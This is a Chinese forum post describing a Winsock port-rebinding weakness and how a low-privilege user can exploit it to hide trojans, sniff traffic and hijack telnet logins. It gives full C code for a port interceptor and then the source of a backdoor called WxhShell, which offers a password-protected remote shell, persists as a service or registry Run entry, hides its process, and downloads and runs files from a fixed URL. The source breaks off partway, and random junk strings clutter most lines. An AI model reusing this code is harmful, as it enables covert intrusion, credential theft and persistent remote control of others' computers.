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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '@enl]J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <SM{yMz  
FlJ(V  
  saddr.sin_family = AF_INET; t}m6];  
ZqKUz5M4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *zoAD|0N  
Fx#0 :p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )=VSERs  
K..L8#SC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )o!y7MTl  
0{ M=^96  
  这意味着什么?意味着可以进行如下的攻击: }#~@HM>6Z  
U-.?+ `  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p&1IK8i"  
v&g(6~b_>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VsS. \1  
:NB|r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v%Rc wVt|  
9^l[d<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &t)dE7u5  
c\GJfsVk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K"'W4bO#7  
&8!* u3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c%1 <O!c  
*&p`8:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zTi %j$o  
;)Rvk&J5  
  #include 2yqm$i9C  
  #include A WlR" p2  
  #include [@D+kL*>  
  #include    WK7=z3mu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U9:?d>7  
  int main() ,EPs>#d  
  { cgKK(-$ny  
  WORD wVersionRequested; ca>6r`  
  DWORD ret; c +Pg[1-  
  WSADATA wsaData; `>:ozN#)\  
  BOOL val; 7{=<_  
  SOCKADDR_IN saddr; Kj[X1X5  
  SOCKADDR_IN scaddr; cJ9:XWW  
  int err; l:NEK`>i  
  SOCKET s; (WT0 j  
  SOCKET sc; }W&hPC  
  int caddsize; bni :B?#  
  HANDLE mt; )@DT^#zR  
  DWORD tid;   aYQ!`mS::M  
  wVersionRequested = MAKEWORD( 2, 2 ); v5"5UPi-  
  err = WSAStartup( wVersionRequested, &wsaData ); g Z3VT{  
  if ( err != 0 ) { /BC(O[P  
  printf("error!WSAStartup failed!\n"); ;u;YfOr  
  return -1; >L$g ;(g  
  } 3UeG>5R  
  saddr.sin_family = AF_INET; jJ% *hDZ6t  
   f(q^R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SF*! Z2K  
ahgm*Cpc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x7$U  
  saddr.sin_port = htons(23); $q#|B3N%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v8! 1"FYL  
  { X$,#OR  
  printf("error!socket failed!\n"); 2YvhzL[um  
  return -1; 7aTo! T  
  } 9k.LV/Y  
  val = TRUE; @+A`n21,O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V^Wo%e7#u[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yO Cv-zm  
  { `X?l`H;#  
  printf("error!setsockopt failed!\n"); %XGwQB$zk8  
  return -1; IQ$l!)  
  } xQs2 )  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2%g)0[1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }vBk ,ED  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Ajs0 T2  
^T\JFzV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \ ?['pB  
  { (mXV5IM  
  ret=GetLastError(); ,2u-<8  
  printf("error!bind failed!\n"); & i|x2; v  
  return -1; 4)Y=)#=  
  } <rc3&qmd  
  listen(s,2); P\bW kp0  
  while(1) <~# ZtD$G  
  { `+]9+:tS  
  caddsize = sizeof(scaddr); W&`_cGoP  
  //接受连接请求 i}Ea>bi{N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q1V4bmM  
  if(sc!=INVALID_SOCKET) kK!An!9C  
  { u>: sXm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V/i&8UMw  
  if(mt==NULL) hnS ~r4  
  { *=}$@O S  
  printf("Thread Creat Failed!\n"); *1iJa  
  break; drT X  
  }  K9  
  } %Bg} a  
  CloseHandle(mt); o2?[*pa  
  } l'-dB  
  closesocket(s); vvw6 GB,M  
  WSACleanup(); w C]yE\P1  
  return 0; j<!rc>)2+L  
  }   0}$",M!p  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0+IJ, ;Wx  
  { 1vQf=t %lw  
  SOCKET ss = (SOCKET)lpParam; Mvoi   
  SOCKET sc; sAS\-c'6  
  unsigned char buf[4096]; \>nPg5OT  
  SOCKADDR_IN saddr; SiHZco I  
  long num; k <ds7k1m  
  DWORD val; R^P~iAO  
  DWORD ret; [0N==Ym1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dix\hqZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3EB8ls2  
  saddr.sin_family = AF_INET; 1R9hA7y&,/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LoUi Yf  
  saddr.sin_port = htons(23); 7)G- EAF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ~d_Z?Z  
  { s&Y~ 48{  
  printf("error!socket failed!\n"); ;hNn F&l  
  return -1; k7)H %31;  
  } R{)Sv| +`  
  val = 100; Y cE:KRy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X4*{CM  
  { mzTF2K  
  ret = GetLastError(); [>&Nhn0iY  
  return -1; '#[U7(lIQ  
  } %b'ic  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ohusL9D  
  { 2H fP$.  
  ret = GetLastError(); wG2lCv`d  
  return -1; ON _uu]=  
  } G\tTwX4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]OZZPo  
  { "?lirOD  
  printf("error!socket connect failed!\n"); yi%A*q~MT  
  closesocket(sc); #B:J7&@fn  
  closesocket(ss); K^?yD   
  return -1; VcIsAK".4[  
  } :6PWU$z$7  
  while(1) XLp tJ4~v  
  {  f]q3E[?/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $ t_s7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s@ m A\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j,eeQ KH  
  num = recv(ss,buf,4096,0); !TP8LQ  
  if(num>0) vG#|CO9  
  send(sc,buf,num,0); L+bO X  
  else if(num==0) +SkD/"5ng  
  break; ;Avd$&::  
  num = recv(sc,buf,4096,0); :^lyVQ%@  
  if(num>0) O:Bfbna  
  send(ss,buf,num,0); qrO] t\  
  else if(num==0) b,/fz6 {N  
  break;  ^"K  
  } yAR''>  
  closesocket(ss); 0}hN/2}&  
  closesocket(sc); jfZ(5Qu3.H  
  return 0 ; ?/)Mt(p  
  } :h0as!2@dp  
v>.nL(VLjP  
cEi{+rfZd|  
========================================================== |gx{un`  
l/[@1(F  
下边附上一个代码,,WXhSHELL JT&CJ&#[h  
:1eI"])(  
========================================================== mN@)b+~(S  
6tI7vLmG  
#include "stdafx.h" 6 +^V  
*RUB`tEL  
#include <stdio.h> ?2OT:/I,  
#include <string.h> ##BMh!  
#include <windows.h> rAIX(2@cR_  
#include <winsock2.h> NWNH)O@  
#include <winsvc.h> #>O,w0<qM  
#include <urlmon.h> )QaI{ z  
e<YC=67n)  
#pragma comment (lib, "Ws2_32.lib") Y1+4ppZ  
#pragma comment (lib, "urlmon.lib") vTQQ d@  
SG |!wH^  
#define MAX_USER   100 // 最大客户端连接数 7<x0LW  
#define BUF_SOCK   200 // sock buffer 9c9-1iS  
#define KEY_BUFF   255 // 输入 buffer `r'q(M  
511^f`P<  
#define REBOOT     0   // 重启  kOETx  
#define SHUTDOWN   1   // 关机 6g29!F`y  
NS-u,5Jt  
#define DEF_PORT   5000 // 监听端口 wd~e3%JM  
39S}/S)  
#define REG_LEN     16   // 注册表键长度 Kl{2^ q>  
#define SVC_LEN     80   // NT服务名长度 X&MO}  
zN#$eyt  
// 从dll定义API 4otB1{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MG[?C2KA/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); idvEE6I@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pnca+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [{6]iJ  
%Gl,V5z&  
// wxhshell配置信息 35) ]R`f  
struct WSCFG { y1c Aw   
  int ws_port;         // 监听端口 wWY6DQQB  
  char ws_passstr[REG_LEN]; // 口令 {a `kPfP  
  int ws_autoins;       // 安装标记, 1=yes 0=no kR7IZo" q  
  char ws_regname[REG_LEN]; // 注册表键名 ]2QZ47  
  char ws_svcname[REG_LEN]; // 服务名 RR{]^g51  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |Q`}a %  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^TVy :5Ag  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K_Y0;!W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^USj9HTK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YTL [z:k}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r-^Ju6w{  
K7M7T5<  
}; Tcz67&c |W  
Ec8Y}C,{7<  
// default Wxhshell configuration 6aK'%K  
struct WSCFG wscfg={DEF_PORT, jMcCu$i7  
    "xuhuanlingzhe", yrR<F5xge  
    1, jeN_ sm81b  
    "Wxhshell", ,COSpq]6  
    "Wxhshell", L7G':oA_`p  
            "WxhShell Service", ?#ndMv!$  
    "Wrsky Windows CmdShell Service", .ZxSJ"Rk  
    "Please Input Your Password: ", , =IbZ  
  1, ~d/Doi  
  "http://www.wrsky.com/wxhshell.exe", $ Etf'.  
  "Wxhshell.exe" i:&Y{iPQp  
    }; 6>%)qc$i  
C;oP"K]4=  
// 消息定义模块 GQ2&D}zh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L(`^T`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TkWS-=lNH0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1^!= J<`K;  
char *msg_ws_ext="\n\rExit."; +**H7: bO  
char *msg_ws_end="\n\rQuit."; "!p#8jR^  
char *msg_ws_boot="\n\rReboot..."; ?Sn$AS I  
char *msg_ws_poff="\n\rShutdown..."; r$k *:A$%  
char *msg_ws_down="\n\rSave to "; 7fI[yCh  
P%' bSx1  
char *msg_ws_err="\n\rErr!"; cp0>Euco=  
char *msg_ws_ok="\n\rOK!"; :Q+ rEjw+  
x"8(j8e  
char ExeFile[MAX_PATH]; cX7xG U  
int nUser = 0; (z ;=3S  
HANDLE handles[MAX_USER]; %CF(SK2w  
int OsIsNt; b[GZ sXD-  
JP!$uK{u  
SERVICE_STATUS       serviceStatus; lk6mu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S;+bQ.  
X]C-y,r[M  
// 函数声明 &:akom8  
int Install(void); ``w,CP ?  
int Uninstall(void); ptb t  
int DownloadFile(char *sURL, SOCKET wsh); (mt,:hX  
int Boot(int flag); k W/3 Aq7r  
void HideProc(void); $o/ ?R]h  
int GetOsVer(void); PS`)6yn{_  
int Wxhshell(SOCKET wsl); D?@330'P9C  
void TalkWithClient(void *cs); swi|   
int CmdShell(SOCKET sock); /Wg$.<!5 }  
int StartFromService(void); 4K0N$9pd:  
int StartWxhshell(LPSTR lpCmdLine); egx(N <  
wF?THkdFo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^uIZs}=+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rm2{PV<+d  
-M%n<,XN0  
// 数据结构和表定义 g3LAi#m  
SERVICE_TABLE_ENTRY DispatchTable[] = t+m$lqm  
{ kSB)}q6a  
{wscfg.ws_svcname, NTServiceMain}, *ubLuC+b  
{NULL, NULL} @L{HT8utK3  
}; =;dupz\7  
A3$ rPb8  
// 自我安装 p8Lb*7W  
int Install(void) "LP4)hr_`  
{ RUX!(Xw  
  char svExeFile[MAX_PATH]; -a&wOn-W  
  HKEY key; >9<h?F%S  
  strcpy(svExeFile,ExeFile); Lkqu"V  
dlJkxEh 2  
// 如果是win9x系统,修改注册表设为自启动 Sh2q#7hf  
if(!OsIsNt) { |= N8X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;`X-.45  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v SHb\V#  
  RegCloseKey(key); 6M+~{9(S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;\4}Hcg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UupQ* ,dJ  
  RegCloseKey(key); +Nc|cj  
  return 0; sGMC$%e}  
    } rIW`(IG_  
  } Tk.MtIs)V}  
} OaU} 9&  
else { .Zf#L'Rf  
cl:*Q{(Cjk  
// 如果是NT以上系统,安装为系统服务 9XobTi3+'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gqZ7Pro.  
if (schSCManager!=0) =*8"ci $  
{ YA{Kgc^  
  SC_HANDLE schService = CreateService 2[j|:Ng7  
  ( kJJQcjAP:  
  schSCManager, GlQ=M ) E  
  wscfg.ws_svcname, 0e:KiUr  
  wscfg.ws_svcdisp, KGP2,U6  
  SERVICE_ALL_ACCESS, %b@>riR(y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;u}MG3Y8  
  SERVICE_AUTO_START, cX *  
  SERVICE_ERROR_NORMAL, I`Rxijz  
  svExeFile, =E4nNL?  
  NULL, iO<O2A.F  
  NULL, (873:"(  
  NULL, t m5>J)C  
  NULL, zs[t<`2  
  NULL //H+S q66  
  ); Y<a/(`  
  if (schService!=0) _I5p 7X  
  { 7F}I.,<W  
  CloseServiceHandle(schService); 9FPl  
  CloseServiceHandle(schSCManager); %4n=qK9T 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q.Z0Q  
  strcat(svExeFile,wscfg.ws_svcname); bgYM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (:-DuUt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f 4!^0%l  
  RegCloseKey(key); ELY$ ]^T  
  return 0; b*P \a  
    } -bo0!@MK  
  } -J? df  
  CloseServiceHandle(schSCManager); k E6\G}zj  
} ~)oC+H@{  
} P 3lN ns3  
MKoN^(7  
return 1; c!w4N5aM  
} Pw$'TE}  
Kq-y1h]7H  
// 自我卸载 *2;w;(-s  
int Uninstall(void) 3bE^[V8/  
{ 2uiiTg>  
  HKEY key; x%cKTpDh!  
W{ Nhh3  
if(!OsIsNt) { s2w .V O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RsTpjY*Xb  
  RegDeleteValue(key,wscfg.ws_regname); 9;h 1;9sC|  
  RegCloseKey(key); ^0X86  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n-H0cm  
  RegDeleteValue(key,wscfg.ws_regname); XUW~8P  
  RegCloseKey(key); ,:=E+sS  
  return 0; @["Vzg!I6"  
  } 5%tIAbGW  
} BMFpkK9|  
} &y Vii^  
else { [Hn+r &  
I&>R]DV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -qx Z3   
if (schSCManager!=0) Mc76)  
{ ;y"E}h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); To=1B`@-  
  if (schService!=0) tw*qlbFHv  
  { FA4bv9:hi  
  if(DeleteService(schService)!=0) { AQ+w%>G6  
  CloseServiceHandle(schService); $lV0TCgba8  
  CloseServiceHandle(schSCManager); =( Gv_  
  return 0; '<1T>|`/t  
  } {#Gr=iv~N  
  CloseServiceHandle(schService); Q@]#fW\Y  
  } [!bTko>rSB  
  CloseServiceHandle(schSCManager); [@>Kd`!'  
} }>)"!p;t_  
} 7/aJ?:gX  
W.0dGUi*  
return 1; 7 NJ1cQ-}t  
} !7 *X{D v  
V=E9*$b]  
// 从指定url下载文件 :Q&8DC#]  
int DownloadFile(char *sURL, SOCKET wsh) lza'l  
{ A "S})  
  HRESULT hr; 8 wC3}U  
char seps[]= "/"; o*r\&!NIw  
char *token; a*%>H(x  
char *file; G4<'G c  
char myURL[MAX_PATH]; /=Q7RJ@P  
char myFILE[MAX_PATH]; 6ng . =  
skZxR5v3~L  
strcpy(myURL,sURL); 8$3Tu "+;  
  token=strtok(myURL,seps); EJZl'CR  
  while(token!=NULL) . 6Bz48*  
  { 4b6$Mj  
    file=token; WERK JA  
  token=strtok(NULL,seps); y4M<L. RO  
  } CS6,mX  
r 97 VX>  
GetCurrentDirectory(MAX_PATH,myFILE);  '+'  
strcat(myFILE, "\\"); 4MIL# 1s  
strcat(myFILE, file); *^" 4 )  
  send(wsh,myFILE,strlen(myFILE),0); qw"`NubX  
send(wsh,"...",3,0); 6,s@>8n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FV:{lC{h~  
  if(hr==S_OK) 52-^HV  
return 0; _=4Dh/Dv  
else R.> /%o  
return 1; Isoqs(Oi  
2eb :(D7Cq  
} #sNa}292"  
hDVD@b  
// 系统电源模块 d [K56wbpx  
int Boot(int flag) $K;4=zN>t:  
{ u4+)lvt  
  HANDLE hToken; Jq?ai8  
  TOKEN_PRIVILEGES tkp; sV3/8W13  
1Pn!{ bU3@  
  if(OsIsNt) { i,* DWD+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \<;/)!Nmw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @@!t$dD  
    tkp.PrivilegeCount = 1; }$g5:k!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zPhNV8k-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3H4p$\; C  
if(flag==REBOOT) { Cn+TcdHX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )+\e+Ad}H  
  return 0; $,'r} %  
} |$6Gp Aq!  
else { HM ^rk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HHg=:>L z  
  return 0; e2/[`k=7-  
} S }fIZ1  
  } C7)].vUN  
  else { Z>Sv[Ec  
if(flag==REBOOT) { 9J l9\y9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iCz,|;w%  
  return 0; ^ "*r'  
} @GjWeOj]  
else { Vf O0 z5&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  q#MA A_  
  return 0; p?6w/n  
} P#76ehR]K  
} _gw~A {O  
5TzMv3;in2  
return 1; #l{qb]n]  
} `?`\!uP"  
l|5ss{llR  
// win9x进程隐藏模块 CX\# |Q8q  
void HideProc(void) ' 71D:%p  
{ h9SS o0]F  
vgsu~(L;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . VWH  
  if ( hKernel != NULL ) 'B6D&xn'%&  
  { ` YIpZ rB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <fN?=u+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [.|tD  
    FreeLibrary(hKernel); ]$KH78MTW  
  } =}_c=z?UY  
7F.>M  
return; g[:5@fI#*  
} GRlA 9Q  
$6ITa}o  
// 获取操作系统版本 #YjV3O5<  
int GetOsVer(void) >(d+E\!A  
{ PvKe|In(  
  OSVERSIONINFO winfo; SE%i@}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A}[Lk#|n  
  GetVersionEx(&winfo); eN,m8A`/S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q7`zrCh  
  return 1; ,>"1'i&@  
  else O`rrg~6#  
  return 0; 0^{zq|%Q!  
} + ZGOv,l  
$"x(:  
// 客户端句柄模块 Y5Ey%M m6  
int Wxhshell(SOCKET wsl) ZhM-F0;`  
{ }RW4  
  SOCKET wsh; }2DeqY  
  struct sockaddr_in client; vjbot^W9  
  DWORD myID; tHhY1[A8m  
PMkwY {.u  
  while(nUser<MAX_USER) RwT.B+Onuy  
{ ;2%3~L8?V  
  int nSize=sizeof(client); M,y='*\M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -hhE`Y  
  if(wsh==INVALID_SOCKET) return 1; $3"0w   
QIo|t!7F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kZF\V7k  
if(handles[nUser]==0) uA\A4  
  closesocket(wsh); 0#<_:E  
else ^W#[6]S  
  nUser++; 6o6!O l  
  } QR79^A@5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $m{\<A  
0nhsjN}v  
  return 0; 8v(Xr}q,r  
} "B)DX*-\?  
9YB~1 M  
// 关闭 socket AGrGZ7p]  
void CloseIt(SOCKET wsh) T /[)U  
{ yHT}rRS8  
closesocket(wsh); Ig$5Ui  
nUser--; 1~Pht:,t  
ExitThread(0); }qb z&%R  
} MY1 tYO  
a ,W5T8  
// 客户端请求句柄 etGquW.  
void TalkWithClient(void *cs) unjo&  
{ [-Q"A 6!Zd  
<&W3\/xx  
  SOCKET wsh=(SOCKET)cs; ub.pJJlC  
  char pwd[SVC_LEN]; li NPXS+  
  char cmd[KEY_BUFF]; Z AZQFr'*  
char chr[1]; 4p %`Lv  
int i,j; $OjsaE %  
 FcfN]!  
  while (nUser < MAX_USER) { U.>n]/&  
UPJgTN*  
if(wscfg.ws_passstr) { 8|yhe%-O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R<JI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F!aYK2  
  //ZeroMemory(pwd,KEY_BUFF); :5@7z9 >  
      i=0; a.w,@!7  
  while(i<SVC_LEN) { ^Ko0zz|R/  
:4)mv4Q  
  // 设置超时 d@#=cvW  
  fd_set FdRead; [vV-0Lx"  
  struct timeval TimeOut; M c@p~5!M  
  FD_ZERO(&FdRead); b\^Sz{  
  FD_SET(wsh,&FdRead); XV+BSW7}  
  TimeOut.tv_sec=8; >E)UmO{S  
  TimeOut.tv_usec=0; CGv(dE,G&]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S"N@.n[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fI}-?@  
M~ *E!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5HOhk"  
  pwd=chr[0]; dcXtT3,kpX  
  if(chr[0]==0xd || chr[0]==0xa) { ugMJ}IGq  
  pwd=0; D0"+E*   
  break; ]YOQIzkL4}  
  } RsrZ1dhPvV  
  i++; '| Ag,x[  
    } X}p4yR7'  
w8@MUz}/#  
  // 如果是非法用户,关闭 socket ~ZvZ k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  JTz1M~  
} -,XS2[  
~r>WnI:vg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %e1<N8E4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R@"N{ [9  
&s] s]V)  
while(1) { y{jv-&!xB  
tP3H7Yl! g  
  ZeroMemory(cmd,KEY_BUFF); .cu5h   
z{ymVd0#  
      // 自动支持客户端 telnet标准   ;q$<]X_S)}  
  j=0; XWB>' UDQ#  
  while(j<KEY_BUFF) { >6<g5ps.n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P *%bG 4  
  cmd[j]=chr[0]; c/g(=F__[  
  if(chr[0]==0xa || chr[0]==0xd) { sPd5f2'  
  cmd[j]=0; &Kjqdp  
  break; 6^ /C+zuX  
  } Z;%qpsq  
  j++; AY! zXJ_$  
    } G~m(&,:Mu  
Oe;9[=L[  
  // 下载文件 RmzK?muk  
  if(strstr(cmd,"http://")) { ` 0\hm`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *b.>pY?2|  
  if(DownloadFile(cmd,wsh)) i]1[eGF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr$PSp}  
  else +}^} <|W6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XeZv%` ?  
  } Y-,#3%bT;;  
  else { }[75`pC~O  
$s) ^zm~  
    switch(cmd[0]) { Wt4!XV  
  xQmk2S` y  
  // 帮助 hW|t~|j#_  
  case '?': { |d,1mmv@K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dnd  
    break; R'9TD=qEK  
  } 6 #QS 5  
  // 安装 <'gCIIa2  
  case 'i': { {8UBxFIM(  
    if(Install()) _$, .NK,6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ENgu/A!  
    else hl# 9a?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xDVzHgbf  
    break; pf2$%lE  
    } 3Um\?fj>}(  
  // 卸载 7p~@S4  
  case 'r': { @c{Z?>dUc#  
    if(Uninstall()) 'x!q*|zF2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA` bPhk  
    else O:u^jcXA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;APg!5X  
    break; 3J [P(G>Q  
    } kmP0gT{Sj  
  // 显示 wxhshell 所在路径 t[^}/ S  
  case 'p': { DVCc^5#  
    char svExeFile[MAX_PATH]; `T~M:\^D  
    strcpy(svExeFile,"\n\r"); *1>XlVx,  
      strcat(svExeFile,ExeFile); Bp4QHv9xqL  
        send(wsh,svExeFile,strlen(svExeFile),0); y`\/eX  
    break; *emUQ/uvf  
    } #" f:m`  
  // 重启 |1t30_ /gS  
  case 'b': { [#)$BXG~y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r3iNfY b  
    if(Boot(REBOOT)) m&; t;&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mX"z$  
    else { qOk4qbl[  
    closesocket(wsh); Q[g%((DL  
    ExitThread(0); ;((gmg7,  
    } ^]Gt<_  
    break; X|8Y z3:o  
    } N\xqy-L9  
  // 关机 V{a7@_y  
  case 'd': { ty7a&>G  
